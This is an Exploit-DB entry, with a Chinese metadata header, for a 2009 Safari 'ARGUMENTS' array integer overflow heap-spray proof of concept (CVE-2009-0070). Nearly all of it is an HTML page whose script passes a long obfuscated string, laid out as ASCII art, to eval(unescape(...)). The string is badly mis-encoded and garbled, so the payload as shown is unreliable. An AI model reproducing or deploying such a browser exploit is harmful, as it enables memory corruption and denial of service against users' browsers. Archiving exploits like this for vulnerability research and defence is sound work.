标题: Apple Safari - 'ARGUMENTS' Array Integer Overflow HeapSpray (PoC) EDB-ID: 7673 CVE: 2009-0070 类型: DOS 平台: MULTIPLE 发布日期: 2009-01-05 漏洞利用脚本: <BODY>
 <CODE id="sploit status"></CODE>
 <CODE id="heapspray status"></CODE>
 <SCRIPT>

i=0;eval(unescape(("gÃ‚#MÃ‚Ã‚Ã‚#Ã‚g#Ã‰Ã„ÃŠÃ…@Ã…Ã‘Ã…Ã…Ã…Ã˜Ã…Ã‰Ã…ÃŠÃ†@gÃ‘Ãœ@ÃœÃ‘ÃœÃ‚Ãœ#ÃœÃ„ÃœÃ…ÃœÃ†ÃœgÃœÃ˜ÃœÃ‰ÃœÃŠÃœÃ‹ÃœÃœÃœMÃœNÃœÃŸM@MÃ‘MÃ‚M#MÃ„MÃ…MÃ†MgMÃ˜MÃ‰MÃŠMÃ‹MÃœMMMNMÃŸN@NÃ‘NÃ‚N#NÃ„NÃ…NÃ†NgNÃ˜NÃ‰NÃŠNÃ‹NÃœNMNNNÃŸÃŸ@ÃŸÃ‘ÃŸÃ‚ÃŸ#ÃŸÃ„ÃŸÃ…ÃŸÃ†ÃŸgÃŸÃ˜ÃŸÃ‰ÃŸÃŠÃŸÃ‹ÃŸÃœÃŸMÃŸNÃŸÃŸÃ‚Ã‚#Ã‹Ã†Ã„#MÃ‚Ã‚MÃ‚gÃ„gÃ‰g@Ã†Ã…Ã†ÃŸÃ†Ã†Ã‚Ã˜NgÃ‚Ã‰#MÃŸÃ„Ng#MNÃ˜#Ã‹NÃ˜#MÃ†Ã†Ã•Ã…Ã‚@M#Ã…ÃŸÃŸÃŸgÃ„Ã‚ÃœÃ†Ã…N#MÃ‚Ã‚Ã‘Ã†Ã•Ã‚Ã‰Ã†Ã…#MÃ£Ã‘#Ã‹MÃ‚Ã‚Ã‘gÃ„Ã‚Ã‰gÃ„#M#Ã#Ã#\
Ã‹g                                                                                                                                                                                                                                                                                  #\
#M                                                                                                                       NgÃ‚NÃ†#Ã†QÃ†                                                                                                                                                  Ãœ\
Ã†Ãœ                                                                                                                  Ã‚Ã˜gÃ„ÃŸÃ…Ã‚ÃœgÃ„Ã‚Ã‰#Ã‹MÃ‚g#N                                                                                                                                             @\
#Ãœ                                                                                                              Ã†Ã…Ã‚Ã‰g##MÃ†NÃ†Ã•ggÃ‚@Ã„Ã‘gÃ‚gÃ‚Ã†Ã‘gÃ‰                                                                                                                                          Ã‚\
Ã˜Ã†                                                                                                            Ã…Ã‚Mg#N@Ã‚Ã‹#Ã‘Ã‚Ã‰Ã‚NÃ†ÃŠÃ†ÃŸMÃŠÃ‚Ã˜Ã…ÃœÃ‚Ã‚#@Ãœ                                                                                                                                        Ã†\
Ã‚Ã‹                          g##Ã‹NMgÃ„gÃ…gÃ‚Ã†                                                                   NÃ‚@g##Ã‹gM#Ã‹Ã†gÃ†Ãœ        Ã…@#MgÃ‹Ã…ÃœÃ‚Ã‚                                                                                                                               Ã„MÃ…#Ã„   Ã‰\
Ã„Ã…                    Ã‚@#gÃ„@Ã„NÃ…Ã„Ã‚@#Ã…Ã‚N#Ã‘ÃŸÃ†NÃ‘#ÃÃŸ                                                            g#Ã‘Ãœ#Ãœ#gMMÃ…Ã„                MÃ…#Ã„Ã‰Ã„Ã…                                                                                                                           Ã‚@#gÃ„@Ã„NÃ…  Ã„\
Ã‚@                 #Ã†Ã‚N#ÃÃŸÃ†NÃ‘#Ã†ÃŸg##Ãœ#Ãœ#gMNN#Ã…Ã‚N#Ã‘Ã„ÃŠ                                                       NN#Ã†Ã‚N#ÃÃ„ÃŠg                    M#Ã‹Ã†Ã†Ã…                                                                                         Ã…Ã‚Ã                           ÃŸÃ˜#Ã‚Ã‚Ã˜gÃ„Ã‚ÃœÃ†Ã…  Ã‚\
Ãœg              #N#MÃ†Ã£MgÃ„#ÃŸgÃ„#ÃŠNÃ‘Ã„Ã„#@Ã„Ã„#@Ã„Ã„#@Ã„Ã„ÃœÃ‹Ã†Ã‘ÃŸÃ‰                                                    g##Mg##ÃŸg##                      ÃŠgÃ‹gMÃœ                                                                                          Ã‹ÃŸÃŠ#MÃ†                  Ã…Ã£ÃŸÃ†Ã…#ÃŠÃ…ÃœÃ‚Ã‚Ã…ÃœÃ…Ãœ   #\
@Ã…            ÃœÃ‚Ã‚ÃœÃ‹Ãœg#MNÃ‘#Ã†Ãœ#Ãœ#ÃœÃ‹Ã…Ã˜#MNÃ‘#ÃÃœ#Ãœ##Ã‹Ã…ÃŠ#MNÃ‘Ã£@                                                  #Ã‘Ãœ##Ã#ÃÃœÃ‹                        Mg#MÃ†                                                                                              Ã†Ã¦Ã‘Ã†Ãœg#Ã†Ã…Ãœ    Ã‹Ã†Ã‰Ã…Ã‰ÃœÃ‚#M#   ÃgÃ˜#Ã‚#Ã    Ãœ\
Ã‹Ã†          Ã‰Ã…Ã‘ÃœÃ‚#M#Ã„ÃœÃ‹Ã†Ã‰Ã…Ã‘NÃŸÃ…#Ã†Ã‰gÃŠÃ†Ã…#MÃ£Ã‚ÃœÃ‹MÃ‘#MÃ†NgÃ…Ã†ÃœÃ†ÃœÃœ                                                Ã‹g#Ã„ÃœÃ†ÃŸÃ†g#M                         Ã…ÃœÃ‚Ã‚Ã…                                                                                                   ÃœÃ‚Ã‚ÃœÃ‹g#Ã…#MÃ˜        #MÃ…ÃœÃ‚Ã‚Ã…      Ãœ\
Ã‚Ã‚        ÃœÃ‹MÃœ#MÃ†NgÃ…Ã†ÃœÃ†Ãœ#Ã‹Ã†Ã‰ÃœÃœ       Ã‚Ã˜Ã„#Ã†Ã˜gÃ‚Ã†ÃŸÃ†MÃ†Ã…MÃgÃœÃŸÃ‹                                               Ã‚Ã˜Ã„Ã†Ã†Ã‰NMÃ†Ã†Ã†                         ÃŸgÃ˜M@                                                                                                                     gÃœÃŸÃ‹Ã‚Ã˜        Ã„\
MÃ…       #Ã„Ã‰Ã„Ã…Ã‚@Ã…ÃœÃ…ÃœÃ†Ã„Ã‚Ã‹Ã‚                Ã‰ÃŸÃ‹gÃœÃŸÃ‹Ã…Ã†ÃœÃŠg#Ã†Ã‰Ã†                                               ÃŸÃ†NÃ‚Ã˜M@Ã‚Ã˜Ã…#Ã†                         ÃÃ†Ã†Ã¦                                                                                                                    Ã‘gÃ‚Ã†Ã‰          Ã‚\
Ã‰ÃŸ      Ã‹gÃœÃŸÃ‹Ã‚Ã˜Ã„ÃŸg@ÃœÃŠÃ†                     Ã‘MÃgÃœÃŸÃ‹Ã‚ÃŸMÃ…Ã‚Ã„#Ã‘                                              Ã‚Ã„#Ã‚Ã‚Ã„#Ã£Ã‚Ã„#Ã…Ã‚Ã„#                      Ã„Ã‚Ã„#Ã†                                                                                                                  ÃœÃ†#Ã‹g           Ã‚\
ÃœÃœ     Ã…ÃœÃ…ÃœÃ‚Ã˜ÃŸÃ‹Ã…gMÃŠÃ†                        Ã„Ã†ÃŸggg#Ã‚@Ã‚Ã˜Ã…Ã‹Ã…                                              N#Ã‹Ã…MÃ‚ÃŠÃ‚Ã‰ÃŸÃ‹Ã‚ÃŸMÃ…Ã‚Ã„#Ã‘ÃœÃ†                #Ã‹Ã†N#                                                                                                                 MÃ†Ã‰ÃœN            Ã„\
@ÃŸ     @gÃ‚#Ã‹Ã…@#MÃ†gÃ†                         ÃœÃ…@Ã…Ã‹Ã†NÃ…M#Ã‹MÃ‚Ã…                                               @Ã‚Ã‰Ã†Ã†Ã†ÃŸgÃ‚Ã‚Ã˜g#NÃ„Ã‚                     @MÃŠÃ‚       @Ã…@Ã‚Ã‰g                                                                                                    Ã„ÃŸÃ…Ã…             Ã‹\
g#    NÃ„Ã…M#MÃ…@Ã…Ã‹g#N                       Ã„Ã…MgÃ‘MÃ‹Ã†ÃŸÃ‚ÃœÃ†Ã‘N#M                                               MÃ£MÃ†NÃ†Ã…ggÃ‚@Ã„                         Ã†Ã…Ã…Ã‚      Ã˜Ã…ÃœÃ‚Ã‚ÃœMÃ‚                                                                                                  NÃ†Ã†Ã„              Ã†\
Ã…Ã…    Ã‚NÃ†Ã£Ã†Ã‘Ã†ÃœÃ†ÃœÃ‚Ã˜                 ÃœMÃ‚NÃ†ÃŸÃ…Ã„ÃŸÃ…Ã‚Ã‰ÃœÃ†#Ã‹MMÃ‚NÃ†ÃŸÃ…                                                Ã„ÃŸÃ…#MgÃ„ÃŸÃ…                           #Ã‹MMÃ‚     NÃ†Ã†Ã„Ã†Ã…Ã…Ã£                                                                                                  MÃ†ÃŸ#              Ã‹\
g#    Ã†Ã…gÃ„Ã…Ã„Ã†Ã‰Ã†MÃ†Ã…                       Ã†ÃŸgÃ…gÃ„Ã‚Ã˜MMÃ‚ÃœÃ†Ã‘MNN                                                 Ã‰Ã†ÃœÃ†ÃŸÃ†                              gMÃ‹Ã†      ÃŸN#Ã‚#g                                                                                                   #Ã„Ãœ               Ã†\
ÃŸÃ†     gÃ‚Ã‹#MÃ‚#g#Ã…#M                          Ã˜NÃ‰g#MÃ˜Ã‚Ã˜Ã†ÃŸM                                                   NNÃ‰g                               #MÃ˜M                                    Ã‹Ã†ÃŸN#                                                                     Ã‚#g#               Ã…\
#M     Ã˜#MÃ†ÃŸMÃŸÃ…ÃœÃ…Ãœg                             Ã„Ã‚ÃŸÃ†gMÃ…NÃ…                                                     N                                Ã…NÃ…N                                Ã…ÃœÃ†MÃŸ#ÃœÃ‚ÃŸÃ†gMÃ…                                                                 Ã‚Ã†Ã†Ãœ               g\
Ã„#      Ã‹ÃœÃ†ÃœN#ÃœÃ„Ã‚Ã…Ã‚#                             NÃ…ÃœÃ‚Ã‚#Ã‹           MÃ‚Ã‚                                                                         #MÃ‘Ã‚            Ã‰Ã‚#         MÃ‘  Ã‚NMÃŠÃ†NÃœÃŠÃ„Ã˜Ã…Ã„Ã„MÃ„Ãœ#MÃ‚                                                               #g#                Ã„\
ÃœÃ†       ÃŸÃ†gÃ‚Ã‹Ã‚#g#Ã…#M                             Ã˜#Ã‹gM          NÃ‰g#gÃ„                                                                         gÃ‚MÃŠ         Ã†gÃ„Ã†Ã†Ã‰      Ã†ÃœÃ†ÃœMÃ‹Ã†ÃŸÃ‚ÃœÃ†Ã‘N     #Ã†Ãˆ#MNÃ‚Ã†                                                              Ã£Ã†Ã…                Ã†\
Ã‰Ã†        ÃœÃ‚Ã˜Ã†Ã‘Ã‚ÃŸÃ†ÃŸN@Ã‚                            Ã‰#Ã‹Ã†         Ã„#MÃ…ÃœÃ‚Ã‚Ã…Ãœ                                                      Ã‚                 Ã‚#Ã‹Ã†      Ãœ#MNÃ‚Ã†#Ã†Ã•    Ã†Ã‰Ã†ÃœÃ‚Ã˜NÃ‚Ã†ÃœÃ†ÃŸ           Ã†gÃ‚Ã˜Ã†Ã˜                    Ã‚Ã‹#Ã‘Ã‚Ã‰                                  Ã‚ÃŸNÃ‚                Ã†\
ÃœÃ†          ÃŸÃ†gÃ‚Ã˜#Ã‚Ã‚Ã‰Ã‚Ã‰#                          Ã‹Ã†         Ã†Ã†ÃŸgÃ‚Ã‚Ã˜Ã†g#M                                                   Ã†Ãœ#Ã‹Ã†                g#N#    M#Ã#Ã‹Ã†gÃ‚MÃ‚M       N#Ã†Ã„Ã‚Ã‹#M             Ã†Ã„#Ã‹MÃ‚               Ã†Ã˜Ã‚Ã†NÃ‚g@Ã†ÃŸggÃ‚Ã˜                              #Ã‚Ã‚Ãœ                Ã†\
gÃ‚            Ã‰Ã‚Ã‰Ã†Ã„Ã‚Ã‹#MÃ†ÃŸ#                                 Ã‹gMNMgÃ„gÃ…gÃ‚Ã†NÃ‚                                                @Ã†Ã„ÃœÃ˜#@                Ã‚ÃœÃ†Ã‘         MNÃœÃ‹g#Ãœ      Ã„MÃ‹Ã†ÃŸN#               Ã‚#MÃœ#             MÃ†ÃŸ#Ã‹Ãœ    Ã‘Ã…#ÃœÃ„MÃŠÃ†                            gÃ‚@Ã†                Ã†\
gÃ‚              Ã†ÃŸÃ†MÃ‚@ÃœÃ…Ã‚#Ãœg                               #Ã‰ÃœNÃ‚@gÃ„Ã†ÃŸÃ‚@ÃœÃ…M                                              Ã†#Ã‰ÃœNÃ‚NÃœÃ†               #Ã‹ÃœÃ‘          Ã…ÃœÃ…ÃœgÃ„       Ã„Ã‘g#g#                gÃ…Ã†MM           ÃŠÃ†gÃ‚          @Ã†Ã‘Ã†Ã„Ã†Ã„                          NMg                 #\
g#                 Ã‚@gÃ†Ã†ÃgÃ‚Ã†Ã‰ÃŸ                               ÃœÃ†Ã‰Ã†ÃŸÃ†Ng#Ã‚@Ã†ÃŸ                   Ã†Ã†Ã‚Ã                       gÃ…g@Ã‚@gÃ„Ã†               ÃŸÃ‚@Ãœ          Ã…Ã‚#Ã…Ã˜#       Ã‰ÃŸÃ‘Ã‚@Ã†                Ã£Ã†Ã‘gÃ…           g#Ã†            Ã…Ã†Ã„Ã‚ÃÃ†Ã‚                         gÃ‰Ã‚                 @\
Ã†Ã†                     gÃ‚Ã†Ã‘Ã†gÃ†MÃ†                               Ã…Ã†NgÃ„ÃŸÃœÃ†Ã‰Ã†ÃŸÃ†                  NÃŸÃ‚g@N                      Mg@Ã†Ã‘NMÃŸ               Ã˜Ã‚Ãœ#           Ã‘MNNÃ‰        g@NMg@                Ã†Ã‘NM          ÃŸÃ˜MÃ‹             N#Ã†ÃŸ#M                         Ã‚#Ã…                 ÃŸ\
Ã…ÃŸ                        g#gÃ„gÃ‚MÃŠ                               Ã†gÃ„Ã†Ã†Ã‰Ã†ÃœÃ†ÃœÃ‚                Ã˜Ã‚#ÃŸÃŠÃ‚Ãœ        MÃ‰Ã‚            Ã‰#Ã‹Ã†Ã†Ã†ÃŸg              Ã‚Ã‚Ã˜Ã†           Ã‘Ã‚ÃMÃŠÃ‚       @Ã‚#Ã†QÃŸ                Ã‰g#N  #Ã†Ã˜     #MÃ†               NÃ†Ã•ggÃ‚                @M#Ã‚Ã˜Ã†  Ã‘Ã‚Ã‰                 #\
Ã‹M                           Ã‚Ã†Ã˜Ã‚Ã…#Ã‚#                             MÃ£M#Ã‘Ã‚Ã‰gÃ„Ã†Ã˜              gÃ‚Ã†ÃŸgg        Ã‚@Ã†NÃ†             Ã…ggÃ‚@Ã„Ã…              gÃ‚gÃ‚            Ã†ÃŸgÃ‚Ã‚        Ã˜Ã…ÃœÃ‚Ã‚                Ã„ÃŸÃ†Ã†    Ã†Ã¦g#Ã† Ã…gÃ„               g#Ã‚@Ã†ÃŸ             Ã†Ã†Ã‚ÃÃ†Ã£Ã†@g#Ã‚@Ã†M                 g\
Ã…g                              #gÃ„Ã‚@Ã†Ã‚Ã†                            Ã…Ã‚ÃÃ†Ã…gÃ†Ã†Ã…            Ã†NÃ‚ÃÃ‚Ã˜         Ã†Ã†Ã†ÃŸgÃ…Ã†             NÃ†Ã„Ã‚@ÃŸ              @Ã†Ã˜#            Ã‰Ã‚Ã‹ÃœÃ†        ÃœÃ†#Ã‹Ã†Ã†                Ã¦ÃŸgÃ‚       Ã‚Ã˜Ã†Ã„Ã‚@              MÃŠÃ‚@g#           Ã…Ã‹Ã†Ã‘Ã…MN  #ÃŸÃ‰#Mg#                 Ã…\
Ã‹Ã†                                  Ã‘Ã…MÃ…Ã‹Ã†Ã„                          Ã…M#Ã‹ÃœÃ‘Ã…ÃœÃ…          ÃœgÃ„Ã„Ã‰          Ã†Ng#ÃœÃŠgÃ„              Ã†Ã…Ã†Ã„ÃŸ             Mg#ÃœÃ„             Ã‚@Ã†#         Ã†ÃÃ‚@ÃŸ                ÃœÃ‚@Ã†         ÃŸÃ†Ã†Ã†Ã¦g#Ã†Ã…gÃ„Ã‚    @ÃœÃ…Ã†Ã˜Ã‚NÃŸ          ÃŸ#Ã‘Ã£          Ã†Ã‚Ãœ#Ã„Ã‚              Ã‰\
ÃœN                                      #ÃŠÃ‚@ÃŸ@                        Ã†Ã„ÃœNÃ‚NÃœÃ†#       Ã‹Ã†ÃŸ#M            Ã†ÃŸÃœÃ˜#@Ã‚ÃœÃ‚              Ã˜Ã†Ã˜#N            #N#Ã‘Ã‚             Ã‰Ã‚Ã‰Ã‚Ã‹        ÃŸÃ‰Ã‚Ã‹Ã†                ÃŸÃœÃ˜Ã‚         Ã˜Ã†Ã˜    #N#N#Ã‘Ã‚Ã‰Ã‚Ã‹ÃŸÃ‰N@Ã‚Ã‰          #Ã‹MÃ‚           Ã†ÃŸN@ #NM            Ã‰\
N#                                         Ã†Ã‰Ã„Ã…gÃ˜                       Ã†#Ã†Ã•g#g#    #MÃ†ÃŸN               @Ã‚MMÃ‰#Ã‹Ã†ÃŸ             #MÃ†ÃŸÃœ            Ã˜MÃ‰Ã‚               Ã‰Ã‚Ã‹Ã†         ÃŸÃœÃ˜Ã†Ã‰                Ã„Ã…g         Ã˜Ã†#Ã†          Ã•g#g#Ã‚Ãœ            MÃ‰M            NgMg                M\
NÃ†                                            #Ã†Ã£Ã„Ã„Ã‹Ã‚                    @Ã†Ã‚ÃŸ#Ã†Ã‹ÃŸ@Ã‚Ã˜Ã‚#Ã†Ã                  ÃŸÃ‰g##ÃŸÃ…ÃœÃ‚            Ã‚Ã‚@g            gÃ†Ã‰g               Ã„Ã†Ã˜Ã‚         @MÃŠg#                ÃœÃŠg          Ã„Ã†Ã…                       Ã†Ã„   Ã‚@Ã†Ã£            Ã†@g#                M\
Ã„Ã…                                              ÃœÃ‚Ã‚ÃœÃ†ÃœNÃ‚                  NÃœÃ†ÃœÃ‹g#ÃœÃ‰#MÃ†ÃŸÃœ                    Ã‹Ã†Ã‘g#Ã…Ã‰#M          Ã…Ã‹Ã…M           ÃœÃ‹Ã†Ã‰Ãœ                Ã‰g#          #MÃ£@                ÃœÃ‹Ãœ          ÃŸ#M#                   ÃÃœÃ‹     Ã†Ã‰Ã‚             g#MÃ‚                #\
Ãœg         gÃ‘                                      Ã‚Ã˜Ã‚#Ã…ÃŸÃ…ÃŸÃ†               #NMÃŸÃœÃ†Ã…ÃŸÃ˜Ã…Ã‘Ã‚Ãœ#Ã‘                    MNNÃ‰Ã†#NMÃŸ        ÃœÃ†Ã…ÃŸ           Ã˜Ã…Ã‘MÃ‹                 N#           MÃ‚                 Ã‚#g           #ÃœÃ‰N               @#ÃœÃ…       ÃŠÃ‚ÃŸ             #Ã‚N#Ã‚               #\
g#      ÃœÃ‰Ã‚Ã‹#M                                        Ã‚#g#ÃœÃ‰gÃ‘Ã‚             Ã˜ÃœMÃ‚Ãœ#Ã‘MNÃ†Ã…Ã†Ãœg#Ã†Ã…                     gÃ‹NÃ†ÃœÃ…Ã…ÃŠ      #Ã‰ÃŸ           Ã‘Ã‚@Ã†                                                  Ã‚ÃŸ#            Ã†Ã‹Ã‚@Ã†          Ã†Ã¦ÃŸgÃ‚         ÃŸMg             #ÃœÃ„MÃŠ               Ã†\
gÃŸ    Ã‚g#ÃœÃ„Ã…Ã‰Ã‚Ãœ#                                        Ã‘MNgMNÃ‰g#Ãœ           Ã„Ã…Ã‰MÃ‹N      #MÃ‚Ã‚#Mg                       #ÃŸÃŸNÃ‚g#N#MMÃ†          Ã‚MÃ‚Ã£Ã…                                                   Ã˜#ÃŠ            ÃŸNÃ‚g#Ãœ#M  MÃ†Ã‚Ã‹Ã‚#Ã…Ã˜          N#N             ÃŠ#MÃ‚Ã˜               ÃŸ\
NÃ…   Ã‰ÃœÃ‚Ã‚Ã‹ÃŸNÃ…Ã‘ÃœÃ‚Ã‚Ã‰Ã‚ÃŸ                                      #Ã‚#Ã‹Ã†Ã‰NÃŸÃ„Ãœ         Ãœ@#MÃ‚Ã˜ÃŸ         NÃ…Ã‘NÃŸÃ…                         #Ã†Ã‰gÃŠÃ†Ã…          Ã‚Ã‰Ã‚ÃŸ#                      Ã‚#Ã‹g#                        Ã‚g#             MÃ‚#Mg#ÃŸNÃ‹Ã‚MÃ‚#Ã…Ã˜Ã‚           Ã‰#Ã‰#            ÃŠNÃ‹Ã‚Ã‹Ã‚              #\
Ã…Ã˜  Ã‚Ã‰#Ã‰ÃœÃ‹Ã†Ã‘g#Ã…Ã‰Ã…Ã‹g#Ã‚gÃ…M                                    #Mg#Ã‚gÃ‚Ã‹Ã‚#        g#ÃœÃ‰ÃœÃ˜             NÃŠÃ‚Ã‹g#                        Ã‚gN@         Ã‚ÃœÃ…ÃŠÃ‚           ÃŸ#Ã‚Ã‚MÃ‚Ã˜NÃŠÃ‚Ã‹Ã†Ã‰NÃŸÃ„ÃœÃœ@Ã‚Ã‰Ã‚Mg#Ã‚g              N@Ã‚              Ã‰ÃœÃ‹Ã†Ã‰ÃœÃ‰g#Ã‚Ã‹Ã‚Ã‹Ãœ            Ã‹ÃœÃŸÃ‚             Ã‹#MÃ…ÃŠ              Ãœ\
Ã‹Ã†  Ã‰Ã‚gÃ‚Ã‹#MÃ‚#Mg#ÃŸÃ‚M                                          Ã…ÃŠ#ÃŠÃ…ÃŠNÃ‰g#        MÃ˜Ã‚Ã˜Ã…Ãœ              Ã‚Ã‚Ã…ÃœÃ…Ãœg                      Ã„Ã„Ã‘         Ã†ÃœÃŸ#ÃŸ   ÃœÃ†Ã…Ã†Ã„Ã‚@ÃŸ@ÃŸNÃœÃ‰g#ÃœNÃŸMÃ†Ã‚ÃŸ#Ã†Ã‹g#Ã‚@Ã‚Ã˜ÃŸ@Ã‚#ÃœÃŸÃ‚NÃŸÃŸÃ‚       Ã‰ÃŸÃ‘                Ã‚Ã‰Ã‚@gÃ„Ã†ÃŸÃ‚@g              #ÃœÃ„Ã‚            @gNÃœÃ…Ã‚             #\
Ãœg  #Ã‰ÃœNÃ‚MÃœÃ…Ã‚Ã˜ÃŸNÃ‚                                            gÃ‚Ã‹Ã‚#Ã…Ã˜Ã‚Ã‰#Ã‰        ÃœNÃŸÃ‚g                #ÃœÃ„Ã…Ã‰Ã‚Ãœ#                   Ã‘MN        Ã†Ã…Ã†Ãœg#Ã†Ã…gÃ‹ÃœÃ‘Ã„#Ã†ÃŸÃ†ÃœÃ†ÃœÃ†Ã…                      Ã†Ã£gÃ„MÃŠÃ†gÃ‚@Ã†gÃ† Ã‘gÃ‚                  Ã†Ã‚Ã†ÃÃ†gÃ†Ã…         Ãœ     Ã†#Ã‹MÃ‚           gÃ„gÃ‰g@             Ã†\
Ã…Ã†  ÃŸÃ†Ã†Ã‚Ã˜NÃœÃ‚Ã‰Ã‚Ã‘ÃŸ                                              Ã„NÃœÃ‚Ã˜Ã‚Ã‰#Ã‹MÃ‚       ggMÃŠÃ†                  Ã„Ã†ÃŸggÃ‚NÃ†                 gÃ†#       Ã‚Ã‰ggMÃŠÃ†Ã„Ã†ÃŸggÃ‚NÃ†g             Ã†#Ã‚Ã˜Ã‚Ã‰#Ã‹Ãœ              Ã‘Ã…Ã‰Ã‚@g#ÃœÃ„Ã‚                     @Ã†Ã„           Ã†      ÃŸÃ†NÃ†Ã…Ã‚         NÃœÃ†ÃœÃ‹MÃœ            Ã‚\
Ã˜Ã†   ÃŸÃŸÃ˜MN#Ã‹gMgMÃ‚                                             #gÃ„ÃŸÃ…Ã‚NÃ‚gÃ„Ã‘        Ã†Ã„Ã†Ã„N                  Mg#g##Ã‰Ã‚N               ÃŸÃŸ#      Ã‘Ã£Ã†Ã‚Ãœ#Ã˜Ã‚Ã‰Ã„ÃŠÃŸ              Ã†#ÃgÃ˜#gÃ„Ã†ÃŸg#Ã‘Ãœ#Ãœ                 #MÃ…MgMÃ„                               gÃ„       gÃ‚gÃ…Ã†Ã…M        Ã…Ã†Ã‰Ã…Ã‰ÃœÃ‚           M\
Ã„#    @MÃ…Ã†Ã‰Ã…Ã‘ÃœÃ‚MÃ„#                                           @gMÃ…@Ã†ÃœÃ…#gÃ‰g         #gÃ„Ã†                   Ã…Ã†MÃ…Ã£g@Ã†Ã…Ã†             Ã£Ã†Ã‰     Ã†Ã†Ã†Ã‰Ã†Ã£NÃ„g                #Ã…Ã‘Ã…Ã£gÃ„gÃ‚MÃŠÃ†gÃ…Ã…gÃ…Ã†NÃ†               #gÃ„ Ã†Ã‰Ã†ÃŸÃ†NÃ…                          Ã˜Ã†Ã‰        Ã…Ã†Ã†ÃgÃ‚Ã†Ã‰Ã†Ã‘Ã†   NÃ†Ã£Ã†Ã…Ã…Ã‰Ã„          Ã˜\
Ã†Ã…      Ã†Ãg@Ã…ÃŠÃŸNÃ„Ã‚ÃŸ#                                         Ã†Ã‹Ã…#Ã†Ã‰gÃŠÃ†Ã…Ã†          ÃÃ†ÃŸÃ†M                   g@Ã†ÃŸÃ†NÃ†Ã…Ã†N           gÃ„gÃ‘    ÃœÃ‹g#Ã†Ã…                   gÃ„Ã…Ã„Ã†Ã‰Ã†MÃ†Ã…Ã†ÃŸgÃ…gÃ„Ãœ@Ã†Ã…Ã†NÃ†             ggÃ„    Ã†Ã˜ÃœÃ‘Ã‚#Ã…ÃŸ                   Ã…ÃŸÃ†ÃœÃ†           ÃŸÃ†gÃ‚Ã˜Ã…ÃœÃ‚Ã‚ÃœÃ‚Ã„Ã˜Ã†Ã…Ã†ÃÃ†Ã„ÃœÃŠ         Ã…\
#Ã†        Ã‰gÃŠÃ†Ã…Ãœ##Ã#Ã#                                      ÃÃœÃ„g@gÃ‚Ã†Ã‘gÃ‰            ÃœÃ…#@                  gÃ˜ÃŸ@ÃœÃ†Ã…ÃœÃ‚Ã‚Ã‚Ã‰          ÃœgÃ†Ã‰    Ã…#g                     Ã„Ã†Ã‘gÃ‚       gÃ„Ã‚gÃœÃ˜Ã‚Ng#gÃ…Ã†           Ã‚g#g       Ã„gÃ‚Ã‚Ã˜ÃœÃ‰Ã…Ã‰Ã„          Ã‚ÃŸ#Ã†Ã‹ÃœÃŠÃ†               Ã…gÃ‚ÃœÃ‹#Ã‹Ã‚#ÃœÃœ#MÃ†NÃ†ÃgÃ†        Ã†\
Ã‰Ã†          gÃŸÃœÃ†ÃŸgÃ‚Ã‚NgÃ…g#                                 ÃœÃŠÃ„Ã‘Ã†gÃ†Ã…Ã†NgÃ„              MÃŸÃŸÃ‹            ÃœMÃ†Ã‘gÃ‚Ã†ggÃ…Ã†MÃ†Ã…Ã†Ng          Ã„g#Ã‚                          NÃ†#Ã†Q           Ã†ÃœÃ†ÃœÃ†Ã…Ã†Ã…ÃœNÃ‚Ã‹         Ã…ÃœÃ‚Ã‚           ÃœÃŸÃ†Ã‰Ã„Ã‚gÃ‰gÃ„Ã†Ã…g#Ã„Ã‘Ã†ÃœÃŸ#ÃŸÃœÃ†                     Ã…Ã†Ã„M@Ã…ÃœÃ…ÃœÃ‚ÃŸÃ…ÃœÃ…Ãœ        Ã†\
Ã„Ã‚             Ã‹Ã‚Ã‰ÃŸÃ‹MÃ‘Ã†ÃŸÃ„ÃŸgÃ…gÃ„                         g@gÃ…gÃ„Ã„Ã…Ã†ÃœÃ†Ã…                 Ã†MÃ†Ã•                Ã†NgÃ„MÃ‚Ã†Ã‰Ã†Ã†Ã‚Ã˜           M#Ã„N                       gÃ…Ã†MÃ†               Ã‚ÃœÃŠMÃ„Ã…ÃœÃ‚Ã‚#ÃŠMÃ…    Ã‚ÃœÃ…ÃœÃ‚Ã‚M             Ã†ÃŸNÃ…Ã„Ã†Ã‘gÃ‚Ã†gÃ†Ã…gÃ„Ã‚gMg                            Ã†Ã‚Ã…Ã‚Ã†Ã…gÃ†          Ãœ\
ÃŠg                #Ã†Ã…MÃ˜gÃ„ÃŸÃœgÃ…g#MÃ‰#@gÃ˜#          Ã‘Ãœ##ÃÃ‚ÃŸ#Ã‚MÃŠÃ†Ã‰Ã†NMÃ‹                    #MÃ†Ã†                  Ã•Ã…Ã‚Ã˜MÃœÃ†            Ã†Ã„Ã„Ã†ÃŸ                    Ã†NÃ†                     Ã…Ã„Ã˜Ã†Ã‘Ã†NÃ†Ã„Ã†ÃœÃœÃŠMMÃ†Ã†Ã…ggÃ‚Ã†                Ã‘g@g@ÃœÃŠMNÃ‚Ã‰#Ã‹gM                                                M\
ÃŸÃ‚                     NNMg@Ã†ÃœÃ†Ã‘Ã†Ã£Ã†Ã…Ã‚Ã˜Ã‚ÃŸN@Ã‚NÃ†ÃœÃœ@NÃ‘#ÃgÃ˜#@NÃ‚Ã„MÃŸ                         ÃœÃ†Ã˜                    Ã‚N               N#Ã‚Ã‰                                              gÃ‹NÃ„Ã…#Ã†Ã…gÃ„gÃ„MÃŠÃ†gNÃ…Ã‚                    Ã†Ã†NÃ†Ã‚g#g@#Ã‹                                                  N\
Ã†Ãœ                            Ã‘Ã…ÃœÃ…ÃœgÃ„Ã„#NMÃŸÃœÃ†Ã…Ã†Ã„Ã‚@Ã†ÃŸÃ†NÃ†Ã…                               Ã‚@Ng                                    M#Ã…ÃŸ                                                Ã†ÃŸÃ†ÃœÃ†Ã„Ã…Ã„Ã†ÃŸÃ…Ã‘NÃ˜                        M#Ã‚Ng@gÃ‚Ã†                                                   ÃŸ\
gÃ„                                  Ã†ÃŸgÃ„gÃ‰g@Ã†Ã…Ã‚N                                       gÃ„Ã†                                   ÃŸÃ…Ã‘NÃ‰                                                    ÃœÃ‹Ã…ÃŸÃ…ÃŸN                             ÃŠÃ†Ã‰Ã„Ã˜                                                     Ã†\
Ã…Ã†                                                                                                                           ÃÃ†Ã„ÃœÃŠ                                                                                         Ã„ÃœÃœ                                                      @\
NÃ‹                                                                                                                           Ã…ÃœÃ‚Ã‚Ãœ                                                                                          Ã…                                                       ÃŸ\
NÃ‚                                                                                                                          g#Ã‰ÃœNg                                                                                                                                                  N\
ÃœÃ…                                                                                                                          Ã‚Ã˜ÃŸNÃ‚g                                                                                                                                                  N\
ÃœÃ„                                                                                                                         #Ã†ÃŸÃ†ÃœÃ†                                                                                                                                                   Ãœ\
